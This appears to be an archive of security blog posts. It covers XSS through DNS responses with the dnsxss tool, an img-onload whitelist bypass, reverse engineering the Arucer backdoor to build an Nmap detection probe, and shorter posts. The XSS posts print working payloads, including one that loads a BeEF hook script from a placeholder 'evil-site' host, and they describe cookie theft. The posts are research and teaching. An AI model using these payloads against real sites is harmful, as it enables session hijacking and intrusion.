Today seemed like a fun day to write about a really cool vector for cross-site scripting I found. In my testing, this attack is pretty specific and, in some ways, useless, but I strongly suspect that, with resources I don't have access to, this can trigger stored cross-site scripting in some pretty nasty places. But I'll get to that!

Interestingly enough, between the time that I wrote this blog/tool and published it, nCircle researchers have said almost the same thing (paper (pdf)). The major difference is, I released a tool to do it and demonstrate actual examples.

dnsxss

If you've installed nbtool, you may have noticed that, among other programs it comes with, one of them is called dnsxss. Take a look at the wiki page for more information, but what it does is, essentially, respond to DNS requests for CNAME, MX, TXT, and NS records with Javascript code. Unless you want some specific code, all you have to do is run it:

# dnsxss
Listening for requests on 0.0.0.0:53
Will response to queries with:
<script/src='http://www.skullsecurity.org/test-js.js'></script>

Pass -h or --help for a list of arguments.

Now, an observant reader will realize that this isn't valid HTML. Unfortunately, as far as I can tell, there's no way to send a space through DNS, so you have to come up with some space-free code. The best I could find was replacing spaces with a '/', which will work on Firefox but not IE (I haven't tested anything else). If anybody can think of a better way to write HTML without spaces, let me know. The next best solution is using the TXT query, which DOES allow spaces. dnsxss will reply to TXT queries with well formed Javascript.

For what it's worth, dnsxss will answer A or AAAA requests with localhost (127.0.0.1 or ::1) -- if somebody does a lookup, they'll get an odd answer that won't immediately lead back to you.

Let's break stuff!

So, what can you do with this?

Well, fortunately (or unfortunately? depends who you are), most sites don't echo back DNS records. But, some do. I picked the first three sites from a Google query and tested them out. All three were vulnerable. And I very much doubt that any programmers even *consider* filtering DNS responses. I mean, who expects DNS responses to contain HTML?

And, furthermore, if I can sneak HTML code into pretty much any site that looks up DNS names due to lack of filtering, how about SQL injection? If the response is inserted into the database without filtering for SQL characters, which I would bet they are on at least some sites, you now have an avenue for SQL injection! And, better yet, there's a decent chance that the requests won't be logged because a) it's coming through a backchannel so it's not going to be in their Web server logs, b) the statements containing SQL injection won't be inserted to your logging table (since they wouldn't be valid queries), and c) you can turn off the DNS server whenever you want, and no trace will be left that you were ever doing it (except short-lived caches).

As I mentioned earlier, I took the first three sites from a google query I crafted, and all three were vulnerable. I emailed the administrators of all three sites, and two of them replied thanking me. Both told me that it was a really interesting vector, and that they would fix their sites as soon as possible. The third I haven't heard back from. But the point is, on three random sites, none had even considered implementing any defenses.

Let's take a look at the examples! But first, here are some notes on them:

• The examples use skullseclabs.org, which is the domain I use for all my testing -- if you plan on testing these yourself, you'll have to register your own domain
• The examples use "/* */" to conceal the space, but I realized later that a single "/" works just as well

So, without further ado, here are some screenshots of the sites. I anonymized them a little, though a clever attacker could likely Google hack them.

Site 1

The form:

The result:

The source:

Site 2

The form:

The result:

The source:

Site 3

The form:

The result:

The source:

So there we go...

Three sites, none of which filter out my cross-site scripting attempts. Fun!

Weaponization

The problem is, this only affects a small percentage of sites -- those that will look up domains and display them for you. How can this be used against more targets?

Well, I have two ideas:

1. As I mentioned earlier, I'd bet money that there are other forms of attacks through these avenues -- I'd be surprised if SQL injection didn't exist
2. Can you stuff javascript into reverse DNS entries?

The second point, I suspect, is where we're going to have fun. I can think of countless security devices, from firewalls to vulnerability management tools to proxy servers, with Web interfaces that display reverse DNS records. Not to mention tools where administrators are shown reverse lookups -- forums, for example. Another avenue is logfiles, which are normally visible to administrators.

In all of these cases, if you can stuff Javascript into reverse DNS lookups, you will likely find some very interesting vulnerabilities. Plus, you can instantly see when somebody hits one, and, more often than not, you can clean up your tracks quite well.

I don't have access to any domains where I control the reverse DNS records, but if anybody does I'd love to test this out!

And if there's a better way, which I'm sure there is, please let me know. I don't doubt that I did this the hard way -- that's kinda my thing.

The order of events is, basically:

• Step 1: Copy the system's registry hive to your analysis system
• Step 2: Mount the registry hive in regedit.exe
• Step 3: Navigate to the OS version in regedit.exe
• Step 4: Unmount the registry hive.

If you know how to do all that, then thanks for reading! Check back Tuesday for a brand new blog posting! I have an interesting blog that combines DNS and cross-site scripting lined up.

Otherwise, keep reading. Or just look at the pictures.

Step 1: Get the registry hive

This step is pretty simple. The file is called software and is located in %SYSTEMROOT%\system32\config. You're going to have problems if you try grabbing this file from a running system, but fortunately we have an offline version of the harddrive. Copy that file to a USB stick, or some other device, following your standard evidence collection policies. I also recommend working from an image, not the live drive, if you're doing actual forensic work.

Step 2: Import the hive

First, run regedit on the analysis machine (that you copied the software file to):

Next, click on the HKEY_LOCAL_MACHINE hive (or any other, really):

Next, under the File menu, click "Load Hive...":

Navigate to the 'software' file that you copied from the target machine:

When prompted, type in a name - it doesn't matter what:

And that's it! Now you'll have the registry mounted as the name you gave it under HKEY_LOCAL_MACHINE:

Step 3: Find the key

The key is located in HKEY_LOCAL_MACHINE/<thenameyoupicked>/Microsoft/Windows NT/CurrentVersion:

Any key you want related to the version of Windows is right there. In my screenshot, we're running Windows XP Service Pack 2. The Owner and Company given during installation is shown there too, if you're into that.

Step 4: Unmount

If you don't unmount the device, you'll get file-in-use errors until you do. So, click on the hive and under the File menu, select "Unload Hive...":

Done!

That's it! Once you learn how to mount the registry from the offline machine, it's actually pretty easy.

If you know of a better way to do it, let me know! Comments and registration should once again work, assuming you an do simple math, or you can find my email address at the right somewhere.

Thanks for reading!

I was testing a company that had passed all XSS tests from their pentester.  I found that they allowed users to write HTML tags.  Of course they didn't permit <script> tags or <iframe> tags.  (Well, they did allow those, but that was an oops - no server side filtering.)  This company had whitelisted a variety of "safe" tags for use by clients.

That's boring, right?  Heh, thanks to Ron, I had a way to abuse their whitelist.  (I've since found this in Web Application Hackers Handbook, but I seem to have overlooked it at the time I read it.)  Three HTML 4 tags in particular allow javascript to be run from one of the elements and these are: <img>, <object>, and <style>.

You are really unlikely to see <object> and <style> tags permitted, but <img> tags are a bit more common.  Note: since my work on this site, I've seen RSnake's page and other pages that talk about using <img src="alert('XSS')">.  That was nice in the past, but none of my current version browsers will execute that.  (Makes me wonder if the whole tracking image thing from emails of yesteryear still works, but that's a rabbit trail.  If you know, post a comment.)  Still, just because I can't source the javascript, doesn't mean I can't execute javascript....  We'll use different HTML 4 elements.

Now, in my scenario, I decided to input <img src="blah.jpg" onerror="alert('XSS')"/> and reloaded the page.  BINGO! I got a popup box.  This also works and has the advantage of a working image: <img src="realimage.png" onload="alert('XSS')"/>.

That's cool.  It's really easy to check that off on your list and say "vulnerable to XSS."  But, can you do anything besides popping boxes?  Doing something would be useful.  I had a question about all this, "will these elements support more than an alert box or is this a useless novelty?"  More tests were in order.

So, then we could replace alert() with document.write() and write the cookie to our server. This swipes cookies and that's better than a popup.  But why stop there?

Why not create a <script> on the page itself?  What's that you say?  <script> isn't on the whitelist?  So, your point?  If your browser creates the <script> locally, it can't be filtered, now can it?

Thanks to Mak (@mak_kolybabi) for giving me some of the tips I needed to get this going in the correct direction.

How about we try this:

<img onload="var s = document.createElement('script'); s.src='http://evil-site/beef/hook/beefmagic.js.php';document.getElementsByTagName('head')[0].appendChild(s);" src="real_image.jpg" />

We have a image that triggers the onload element.  Now we tell the browser to create a script element.  You may not be able to write <script>, but you are able to write the word "script."  The createElement function tells the browser to create the <script></script>.  It's local to the client and the server has no idea.  :-D

Then we give the source element (what else would you use but BeEF?) and then we place our new element into the page.  Viola! You've just turned a simple <img> tag into stored XSS....

I have noticed that using onload="local_function()," IE8 and FF3.6 have "issues."  Not sure what it is quite yet.

I spent a few moments looking around to see if I could locate websites that allow you to use HTML tags.  From a cursory perspective, Slashdot is safe, so is Digg, and most forums are now using BB Code.  So, how useful is this?  I'd wager it's probably a last resort. If you chained attacks you could potentially use it.  Suppose you bypassed the front line of defense (like so) in a manner that allowed you to write tags, but ran into some sort of whitelist filtering on the server preventing <script> tags.  Now you have a way to create script tags while evading the filter.

We're not done yet....

Now, you might think that all of this is trivial and not very important.  I mean seriously, who allows users to write tags at all?  Let's look forward for a moment.  HTML5 is coming.  According to this site (and I have to think that they would know), we find this beautiful bit of information: all event handlers must be supported by all elements, or something like that.  And there are a bunch of new event handlers.

In other words, not only do we have access to onload/onerror in every element, we get lots more....  Stored XSS will be everywhere for years.  All these wannabe web guys who implement the cool new whizbang HTML5 as soon as it ships, will be running huge risks unless they carefully filter out event handlers.  (At least they need to prevent users from implementing event handlers.)  We've seen how well this has worked in the past, so my hopes for reasonably secure implementation are exactly nonexistent.

And if you have a site that you want to allow users to write tags, try switching to BB Code.  It's safer.  Well, in 10 minutes of testing I didn't see how to bypass it as it doesn't support anything.  :-D

Currently, I am developing a page that will test a browser's support of HTML 5 action events.  If you have suggestions or tips, send them my way.  I'm currently muddling through my coding.

Oh and just think about what would happen if someone accidentally on purpose managed to rewrite the <img> element on www.digg.com or www.google.com.  Would anyone ever notice?  How long would it take to find it?  Seriously, looking for a compromise, who'd look at the official logo for the infection?  Enjoy your nightmares people.

Cheers.

In honour of this special day, I'm releasing an Nmap script I wrote a few months ago as a challenge: http-california-plates.nse. To install it, ensure you're at the latest svn version of Nmap (I fixed a bug in http.lua last night that prevented this from working, so only the svn version as of today will work), download http-california-plates.nse, and install it.

To use it, you run Nmap as usual, against any server and any ports, the http-california-plates script, and a special script argument called 'plate'. 'plate' can be two to seven characters, and the script will validate whether or not it's a valid plate in California, and whether or not it's already being used!

Here is what you can expect to see if a plate isn't available:

$ nmap -p22 localhost --script=http-california-plates --script-args=plate=abcdef

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-04-01 08:27 CDT
NSE: Script Scanning completed.
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0011s latency).
PORT   STATE SERVICE
22/tcp open  ssh

Host script results:
|_http-california-plates: Plate is not available!

And here's what you see if a plate IS available:

$ ./nmap --script=http-california-plates --script-args=plate=inscure -p22 localhost

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-04-01 08:31 CDT
[...]

Host script results:
|_http-california-plates: Plate is available!

Never again will you have to spend your valuable seconds finding the California DMV's online tool for checking!

How's it work?

This script is dead simple -- it just makes three HTTP requests to a site. The first one is a simple GET request to this page:
https://xml.dmv.ca.gov/IppWebV3/initPers.do

This page is simply generates the session cookie, which is saved. The second request is a POST to here (I'm adding the arguments as GET to save space):
https://xml.dmv.ca.gov/IppWebV3/processPers.do?imageSelected=plateMemorial.jpg&vehicleType=AUTO&isVehLeased=no&plateType=R

Finally, the actual license plate it sent:
https://xml.dmv.ca.gov/IppWebV3/processConfigPlate.do?kidsPlate=&plateType=R&plateLength=7&plateChar0=A&plateChar1=B&...

And the response is parsed for success, failure, or error message.

Done!

Happy April Fool's :)

Also worth noting: at the moment, registration isn't going to work because I don't have email set up. I'll post an update to that when it's going again. It shouldn't matter, though, registration isn't required to comment.

I also added an infobox on the side (-->) with information about the author of the post, since I've been taking turns with my buddy Matt Gardenghi lately. Now you can see who posted what.

If anything isn't working, or you'd like some feature/widget/whatever that I don't currently have, let me know!

Ron

Sections

This tutorial was getting far too long for a single page, so I broke it into four sections:

• Part 1: setup
• Part 2: runtime analysis (windbg)
• Part 3: disassembling (ida)
• Part 4: generating probes (nmap)

Generating probes

Recall that packets are encoded by XORing each byte with 0xE5, and decoded the same way. That's great for us -- a simple program can encode and decode packets. Let's write it!

I chose to write this in C because it's one of my favourite languages and the code needed to XOR every byte is trivial:

#include <stdio.h>

That'll read characters from standard in, XOR them with 0xE5, then write them to standard out. Now we can compile it and run some test data through it (I called it the clever name, 'test'):

ron@ankh:~$ vim test.c
ron@ankh:~$ gcc -o test test.c
ron@ankh:~$ echo "this is a test" | ./test | hexdump -C
00000000  91 8d 8c 96 c5 8c 96 c5  84 c5 91 80 96 91 ef     |....Å..Å.Å....ï|
0000000f
ron@ankh:~$ 

That looks just about right! But if you count the characters, you'll see that we have one extra one: 0xEF. 0xEF is an encoded newline -- oops! We don't want newlines, but we DO want to null terminate the string. Running the echo with -n (no newline), -e (use character escapes), and adding \x00 to the end will take care of that:

ron@ankh:~$ echo -ne "this is a test\x00" | ./test | hexdump -C
00000000  91 8d 8c 96 c5 8c 96 c5  84 c5 91 80 96 91 e5     |....Å..Å.Å....å|
0000000f
ron@ankh:~$ 

There we go! Now we need make a proper probe out of our string. Recall the string we found earlier:

As we know, it's 0x27 bytes long including the null terminator (that's what was passed to strcmpi()). So, we echo the string, with the 4-byte length in front and the 1-byte terminator at the end:

echo -ne "\x27\x00\x00\x00{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}\x00"

In theory, that packet should provoke a response from the Trojan. Let's try it out:

$ echo -ne "\x27\x00\x00\x00{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}\x00" |
  ./test | # encode it
  ncat 192.168.1.123 7777 | # send it
  ./test # decode the response
(response)
YES

Success! The Trojan talked to us, and it said "YES". Now all we have to do is create an Nmap probe!

Note that I am using an Nmap probe here rather than a script. Scripts are great if you need something with some intelligence or that can interact with the service, but in reality we're just sending a static request and getting a static response back. If somebody wants to take this a step further and write an Nmap script that interacts with this Trojan and gets some useful data from the system, that'd be good too -- it always feels better to the user when they see evidence that something's working.

Anyways, the first step to writing an Nmap probe is to find the nmap-service-probes file. It'll likely be in /usr/share/nmap or /usr/local/share/nmap or c:\program files\nmap. Where ever it is, open it up and scroll to the bottom. Add this probe (if it isn't already there):

##############################NEXT PROBE##############################
# Arucer backdoor
# http://www.kb.cert.org/vuls/id/154421
# The probe is the UUID for the 'YES' command, which is basically a ping command, encoded
# by XORing with 0xE5 (the original string is "E2AC5089-3820-43fe-8A4D-A7028FAD8C28"). The
# response is the string 'YES', encoded the same way.
Probe TCP Arucer q|\xC2\xE5\xE5\xE5\x9E\xA0\xD7\xA4\xA6\xD0\xD5\xDD\xDC\xC8\xD6\xDD\xD7\xD5\xC8\xD1\xD6\x83\x80\xC8\xDD\xA4\xD1\xA1\xC8\xA4\xD2\xD5\xD7\xDD\xA3\xA4\xA1\xDD\xA6\xD7\xDD\x98\xE5|
rarity 8
ports 7777

match arucer m|^\xbc\xa0\xb6$| p/Arucer backdoor/ o/Windows/ i/**BACKDOOR**/

So basically, we're sending a probe equal to the packet we just sent on port 7777. If it comes back with the encoded 'YES', then we mark it as 'Infected'. Go ahead, give it a try:

$ nmap -sV -p7777 192.168.1.123

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-22 21:42 CDT
Nmap scan report for 192.168.1.123
Host is up (0.00020s latency).
PORT     STATE SERVICE VERSION
7777/tcp open  arucer  Arucer backdoor (**BACKDOOR**)
Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.61 seconds

It successfully detected the Arucer backdoor! Woohoo!

Conclusion

So, to wrap up, here's what we did:

• Execute the Trojan in a contained environment
• Attach a debugger to the Trojan and learn how recv() is called
• Get the callstack from the recv() call
• Disassemble the Trojan to learn how it works
• Find the addresses we saw on the callstack
• Determine how the simple crypto works (XOR with 0xE5)
• Determine what we need to XOR with 0xE5 ("{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}")
• Determine what we can expect to receive ("YES" XORed with 0xE5)
• Write an Nmap probe to make it happen

Keep in mind that most malicious software isn't quite this easy. Normally there's some kind of protection against debugging, reverse engineering, virtualizing, etc. Don't think that after reading this tutorial, you can grab yourself a sample of Conficker and go to town on it. If you do, you're in for a lot of pain. :)

Anyway, I hope you learned something! Feel free to email me (my address is on the right), twitter me @iagox86, or leave a comment right here.

Now that we have some starting addresses, we can move on to a disassembler and look at what the code's actually doing. Fortunately, the author made no attempt to disguise the code or pack or or anything like that, so a simple disassembler is all we need to examine the code.

A word of warning: this is the longest, most complicated section. But stick with it, by the end we'll know exactly how the Trojan ticks!

Sections

This tutorial was getting far too long for a single page, so I broke it into four sections:

• Part 1: setup
• Part 2: runtime analysis (windbg)
• Part 3: disassembling (ida)
• Part 4: generating probes (nmap)

Disassembly -- from the top

If you haven't already, install IDA somewhere. This part is safe and doesn't have to be on your sacrificial system, but you probably won't be able to do this on any system with antivirus installed. Any antivirus program will delete the Trojan before you have a chance to disassemble it.

First off, fire up IDA and load the arucer.dll file (I included it in the same archive as the installer; get it here (password is "infected", as always be careful when handling live malware); alternatively, navigate to c:\Windows\System32 on the infected machine and grab it).

When IDA comes up, it'll ask you what you want to do. Hit "New":

When prompted, hit "PE Executable" and then "OK" -- in theory, you can probably pick something more appropriate but it auto-detects anyways.

Then, navigate to the path where you extracted Arucer.dll and choose it (you may need to change the "Files of type" dropdown to "all files":

After selecting it, you'll be prompted with a bunch of questions. Like installing software, just keep hitting 'next' until it stops asking you questions. Eventually, it'll be loaded up and you'll be presented with a screen full of assembly. Feel free to customize it how you like; I generally turn off the main menu bar and maximize the sub-windows.

The first thing I like to do when looking at malware, and it's because I was bitten by this once on a contest, is hit the "Exports" tab and see what it can do:

On the Trojan, we can see there are two exports -- "DllEntryPoint", which every .dll file has, and "Arucer". If you follow DllEntryPoint, you won't get anywhere. It sets some variables, that's about it. But if you double-click on Arucer, we can see where the actual Trojan does its work:

The first thing we see here is a call to CreateMutexA() with the name "liuhong-061220". Liu Hong, eh? The author, perhaps? Why would somebody writing an actual Trojan put his name in it? That brings back the question of whether this was intended to be a Trojan at all, or just a misguided feature?

After the mutex is created, a call to CreateThread() is made. If you double-click on StartAddress (the address that's called when the thread starts):

You'll see a simple loop:

The code calls sub_10001D80 then jumps back to the line that calls sub_10001D80. This is an infinite loop. So double-click on sub_10001D80 and look around. You'll see that, among other things, a call is made to listen():

That tells us that we're definitely on the right track! If you keep going, you'll eventually make it to the same recv() function that we already found using the debugger.

At this point, feel free to look around a little bit, see if you can understand a little about what's going on. The biggest key is the system functions being called (like accept(), listen(), recv(), etc) -- they tell you what's going on more than anything else.

Disassembly -- from the bottom

In the last section, we followed the code execution from the beginning of the program to the listen() and accept() calls, which lead to the recv() and send(). That's one way to skin this catcarrot, but, since we already learned some useful addresses from the debugger, let's start at one of them: 0x100011aa.

Throughout this section, feel free to explore. I'm posting screenshots and addresses for everything I talk about, so you can always hit "g" (for "go") and catch up. You can also press "escape" at any time to jump back to the last place you were.

0x100011aa is one of the addresses we found while debugging; it's the address that called recv(). In IDA, hit "g" and type it in. You'll find yourself in the middle of a function, right after a call to recv(). Scroll up and find the top of the function (sub_10001180), which will look like this:

The first thing to note is that this function takes three arguments. The second and third were discovered by IDA to be 'buf' and 'len', which refer to the buffer and length being passed to the recv() call -- the only recv() arguments we're missing are the socket and the flags.

We're going to try and figure out what the first argument is. if you click on "arg_0" in the list of local variables, you'll see that three lines into the function it's moved to 'ebx'. If you click on 'ebx', you'll see that, a little later, the value it points to is moved to eax:

If you click on 'eax', you'll see that it's pushed last (and, therefore, is the first argument) to recv(), and, as the automatically generated comment tells you, that's the 's' (socket) parameter:

So now that we know what's going on, we can name the variables properly. Go to the top of sub_10001180 again, click on the name, and press "y" to define the function. Change the first argument to "int *socket":

If you scroll around the function, you'll see that all it really does is recv() some data into the buffer. Therefore, it's a wrapper around recv(). Click on the function name again ("sub_10001180") and press "n" to change the name. Type in something you'll remember; I'll be using "recv_wrapper":

One trick here is that this function does a little more than recv(). If you scroll a little past the recv() call to loc_100011D2, you'll see a little loop:

This loop moves a byte from 'esi' to the 'bl' register, XORs the byte with 0xE5, then puts the byte back into 'esi'. Then it decrements ecx and loops as long as ecx is non-zero. Even without knowing what the different registers are doing here, it's pretty obvious what's going on -- every byte in the string is being XORed with 0xE5. That's a weak encoding, but it's definitely enough to keep out prying eyes.

Scrolling down a bit further, you'll find the end of the recv_wrapper() function. Because this function is called from a lot of different places (scroll up and click on the recv_wrapper declaration and press ctrl-x to find out where), the easiest way of finding the caller is to go back to our stacktrace from the debugger; in that stacktrace, the next address was 0x10001624.

Naturally, the first thing you'll see at 0x10001624 is, on the previous line, the call to recv_wrapper(). But looking above it, we only see one argument -- the socket -- being passed to it:

To find the other arguments, you'll have to scroll way up to 0x10001575. There you'll see the length (4) and the buffer (eax), which points at a local variable called, at the moment, "len":

So now we know that exactly 4 bytes are being received. Thinking back to my Battle.net days, that sounds like a packet header -- typically, the header will contain the length of the packet, then that many more bytes are received.

Now, if you scroll down a little more past the recv_wrapper() call, to line 0x10001659, you'll find a second recv_wrapper() -- we can guess that it's probably downloading the rest of the packet. The length being passed is 'eax' which, as you can see on line 0x10001639, is set to the buffer from the previous call to recv_wrapper():

That's good -- we expected the first recv_wrapper() call to return the length. The 'buf' argument is also set to the same buffer as the previous call, which was called "len":

Now that we know it isn't specifically used for the length, since both recv_wrapper() calls use it as a buffer. To avoid confusion, we should rename it. Click on "len" and press "n" for "name", and type "buffer" or "buf":

All right, so now we've received a header and a body. But what happens to the body? Let's have a look:

To explain the flow a little: shortly after the call to recv_wrapper(), a call is made to memicmp(). The arguments passed to memicmp() are:

• 'eax', which is the buffer from the recv_wrapper() call -- in other words, the data that was just received (not including the length)
• 'edx', which is a local variable, var_828 -- we'll look more into var_828 shortly
• 0x27, or 39, for the length -- keep this value in mind, we're going to need it

As for the var_828, click on it and scroll wayyyy up till you see where it's set, right at the top of this function:

'esi' (the source register) is set to a static string that just happens to be 38 characters long -- 39 including the string terminator. The same length that was passed to memicmp() -- the important part to remember here is that the string terminator is included in the comparison. That's important. Also, keep this string in mind -- we're going to need it while writing our probe.

'edi' (the destination register) is set to var_828. Then 'rep movsd' is executed. 'rep movsd' basically moves data from 'esi' (source) to 'edi' (destination), 'ecx' times. In short, it copies that big long string into var_828.

Jumping back down to the memicmp() (0x10001697), the next instruction is a jump-if-not-zero. Since memicmp() returns 0 when strings match, it'll fall through if the data matches our long string:

I realize that's a lot to take in, but we're almost done. Let's summarize what we've seen so far:

• A 4-byte header -- the length -- is recv()'ed from the client
• The rest of the message, as defined by the length, is recv()'ed from the client
• The received bytes are XORed with 0xE5
• The bytes are compared to a 38-character string, "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"
• If it matches, ...well, let's talk about that.

If you scroll a little bit past the memicmp() call, you'll see a call to sub_100011F0 (at 0x100016C6). The only thing left after that call is a return, so that call has to be important:

This function has three arguments: 'esi', 'eax', and "3". 'esi', if you scroll up far enough, is the socket. So what are the other two?

If you look up a few lines to 0x100016AC, you'll see that eax is set to the buffer where the received data was going. After a few more lines, the 'cx' register, which is set to a value at word_1000405C, is put into 'buffer' ('cx' is a 2-byte register):

Likewise, the third byte in "buffer" is set to 'dl', which is set to byte_1000405E a few lines above ('dl' is a 1-byte register):

So the first three bytes in the buffer are set from static memory addresses, via the 2-byte register 'cx' and the 1-byte register 'dl'. Now we need to determine what values these two registers had been set to.

To figure out what the values of 'cx' and 'dl' are, double-click on one of them. You'll be brought to 0x1000405C, which should look like this:

If you've looked at enough hex, you'll immediately recognize these three values on ascii. Click on each of them, then select Edit->Operand type->Character (or just press "R"):

You'll see that these three bytes are actually, 'EY' and 'S', which, because of little endian, is actually 'YE' and 'S' -- 'YES'!

Hit "esc" to go back (or press "g" and type 0x1000169F) and, if you'd like, add comments saying what the values are (use ";" or shift-";" to add comments):

So, three bytes, "YES", are placed in "buffer" and passed to a function, along with the socket and the number "3" -- the length. It's pretty safe to assume that this function is the send_wrapper(). Double click on it to find out!

Near the top of the send_wrapper() function (sub_100011F0), you'll see another little loop:

The array is being XORed with 0xE5. Next, we'll see what we're looking for:

send()! Now we know -- if we send a 4-byte length followed by the 38-byte string ("{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}") and a null terminator, encoded by XORing it with 0xE5, we should receive a 3-byte response ("YES"), also encoded by XORing with 0xE5.

So, in this section we followed the flow of data from the recv() function, which we found with a debugger, to the send() function. We were fortunate that the first type we found was a simple ping -- I send it data, and it replies with "YES". It's safe, doesn't change the state, has a static request, and a static response. Perfect!

In Part 4: generating probes, the final section, we'll actually put the pen to paper (err, characters to harddrive? code to monitor?) and write a probe that implements this ping request.

Now that we've infected a test machine, the goal of this step is to experiment a little with the debugger and learn a little about the Energizer Trojan. This can all be discovered with a simple disassembler, but I find it more fun to take apart a live sample. All we're going to do is add a breakpoint at the recv() function and see where it's called from.

This step is going to require Debugging Tools for Windows. If you haven't installed it already, install it on the victim machine.

Sections

This tutorial was getting far too long for a single page, so I broke it into four sections:

• Part 1: setup
• Part 2: runtime analysis (windbg)
• Part 3: disassembling (ida)
• Part 4: generating probes (nmap)

Runtime Analysis

Run "windbg"; then, under the "File" menu, choose "Attach to a Process" (or press F6):

Navigate the list and find "rundll32.exe":

If you aren't sure if it's the right one, expand it with the "+" and validate that it's running "Arucer.dll":

Once you hit "OK", the debugger will attach to the Trojan process and suspend it, waiting for your actions. It'll look something like this:

All we want to do is add a breakpoint on the "recv" function. "recv" is a function in Winsock that reads data from the network. Since this Trojan is listening on a port, it'll likely try to receive data from anything that connects to it. In the command window of Windbg, type "bp recv":

To validate that the breakpoint was successfully created, you can run the "bl" command ("breakpoint list"), which will print all breakpoints that have been set on this process:

Now that we've set a breakpoint on recv() and verified that it exists, resume the Trojan process by clicking the "Resume" button (or press F5, or type "g<enter>"):

You'll note that nothing happens right away. And unless something tries to connect to the host on port 7777, nothing is going to happen. The reason is that the Trojan is sitting on the accept() call, waiting for a connection. Obviously, if we want to trigger the recv() call, we have to connect to it. So, open up a new command prompt ("cmd.exe") and telnet to localhost port 7777:

As soon as you do that, the accept() call finishes and the Trojan attempts to receive some data, hitting our breakpoint:

The process is once again suspended and waiting for us to do something. You can have some fun at this point and poke around, but first run the "k" command, which is short for "call stack" -- it'll tell us who called recv(), who called that function, and so on:

Make note of the two addresses here -- 0x100011aa and 0x10001624 -- we'll be using those later. 0x100011aa is the place where recv() was called, and 0x10001624 is the place where that function was called.

That brings us to the end of the runtime analysis. We now know the call path that leads up to the recv(), and can work our way backwards to find out what kind of data it wants to receive.

At this point, feel free to play around in the debugger and see what you can learn. The first thing I usually do is tell the recv() function to return using Debug->Step Out and look at how it processes the data -- make sure you type something in the console for it to receive first.

When you're all done, restart the process so we can test later:

Then run it:

In the next section, Part 3: disassembling, we'll look at the code that makes the Trojan tick.

As most of you know, a Trojan was recently discovered in the software for Energizer's USB battery charger. Following its release, I wrote an Nmap probe to detect the Trojan and HDMoore wrote a Metasploit module to exploit it.

I mentioned in my last post that it was a nice sample to study and learn from. The author made absolutely no attempt to conceal its purpose, once installed, besides a weak XOR encoding for communication. Some conspiracy theorists even think this may have been legitimate management software gone wrong -- and who knows, really? In any case, I offered to write a tutorial on how I wrote the Nmap probe, and had a lot of positive feedback, so here it is!

Just be sure to take this for what it is. This is *not* intended to show any new methods or techniques or anything like that. It's a reverse engineering guide targeted, as much as I could, for people who've never opened IDA or Windbg in their lives. I'd love to hear your comments!

Sections

This tutorial was getting far too long for a single page, so I broke it into four sections:

• Part 1: setup
• Part 2: runtime analysis (windbg)
• Part 3: disassembling (ida)
• Part 4: generating probes (nmap)

Step 0: You will need...

To follow along, you'll need the following (all free, except for Windows itself):

• A disposable Windows computer to infect (probably on VMWare)
• Debugging Tools for Windows (I used 6.11.1.404)
• IDA (free)
• Nmap
• A basic understanding of C and x86 assembly would be an asset. <shamelessplug>Check out the reverse engineering guide I wrote</shamelessplug>
• A basic understanding of the Linux commandline (gcc, pipes, etc)

Infect a test machine

The goal of this step is, obviously, to infect a test system with the Energizer Trojan.

Strictly speaking, this isn't necessary. You can do a fine job understanding this sample without actually infecting yourself. That being said, this Trojan appears to be fairly safe, as far as malware goes, so it's a good one to play with. I strongly recommend against installing this on anything other than a throwaway computer (I used VMWare). Do not install this on anything real. Ever. Seriously!

If you're good and sure this is what you really want to do, grab the file here:

Then extract the installation file, UsbCharger_setup_v1_1_1.exe (arucer.dll isn't necessary yet). The password for the zip archive is "infected", and by typing it in you promise to understand the risks of dealing with malware:

Naturally, make sure you turn off antivirus software before extracting it. In fact you shouldn't even be running antivirus because your system shouldn't even be connected to the network!

Perform a typical install (ie, hit 'next' till it stops asking you questions). Once you've finished the installation, verify that the backdoor is listening on port 7777 by running "cmd.exe" and running "netstat -an":

Congratulations! Your system is now backdoored. To continue reading, go to Part 2: runtime analysis

That is a dumb argument from all sorts of levels.  For starters, those who make this observation are usually those who can write code.  Therefore, everyone who can't meet their personal standards/abilities as a coder are "skiddies" who demean the profession.

I find it intriguing that everyone defines the basis for a good pentester by their own capabilities.  Clearly you think that you are good and it's normal to think that everyone will want to be good just like you.  Consequently, they should all do as you do, right?  Wrong.  We need diversity of backgrounds, skills, and opinions.  It's healthy not to inbreed (intellectually or otherwise).

Arrogance is the assumption that I set the standard.  So, let's not be arrogant.  None of us are so good that we objectively define the standard for all other pentesters.

We are all in a process of growing and developing.  We all started as "skiddies" and we all progressed from there.  Instead of drawing people onward in the profession, to many practitioners discourage those coming behind.  The "experienced" testers set the bar equal to their own skills and years of experience or to their skill set when they walked into their first pentesting job.  (Doubt me?  Go look at forums where someone asks what skills are necessary to be a pentester.  Every single answer is different and is based on the author's personal skill set and experiences.)  I may not have a tool in my toolkit that you have.  That doesn't mean I can't get the job done, I just might have to think differently and creatively to solve it in another way.

I took GWAPT from Kevin Johnson and Seth Misenar.  Anyone care to call them skiddies?  They both walked into the field from other professions and lacked the ability to read much code or write much code.  They still don't consider themselves coders; they say that they hack code.  And yet they developed into experienced and qualified testers.  So why would you tell newcomers that they need a CS degree and the ability to read/write shellcode or else they aren't capable of being "good?"  You could be pushing away the next best security guy by telling him that he's not qualified to start.

We don't want everyone to be an expert in the same field.  That leads to a lopsided inbred situation.  Since no one person can be an expert in every field, we need people who specialize in shellcode and exploit writing.  We need others who are experts in working through website security including the process of abusing assumptions.  We need some who have the skillsets to combine and apply the multitude of tools created by others in new and creative ways.  We need to interact and support each other and recognize that we actually need each other and the diverse talents that others bring.

I do think that all users should seek to understand what's going on in an exploit.  No one should fire off an exploit until they know A) it's not backdoored and B) whether it will hurt anything if it goes off badly.

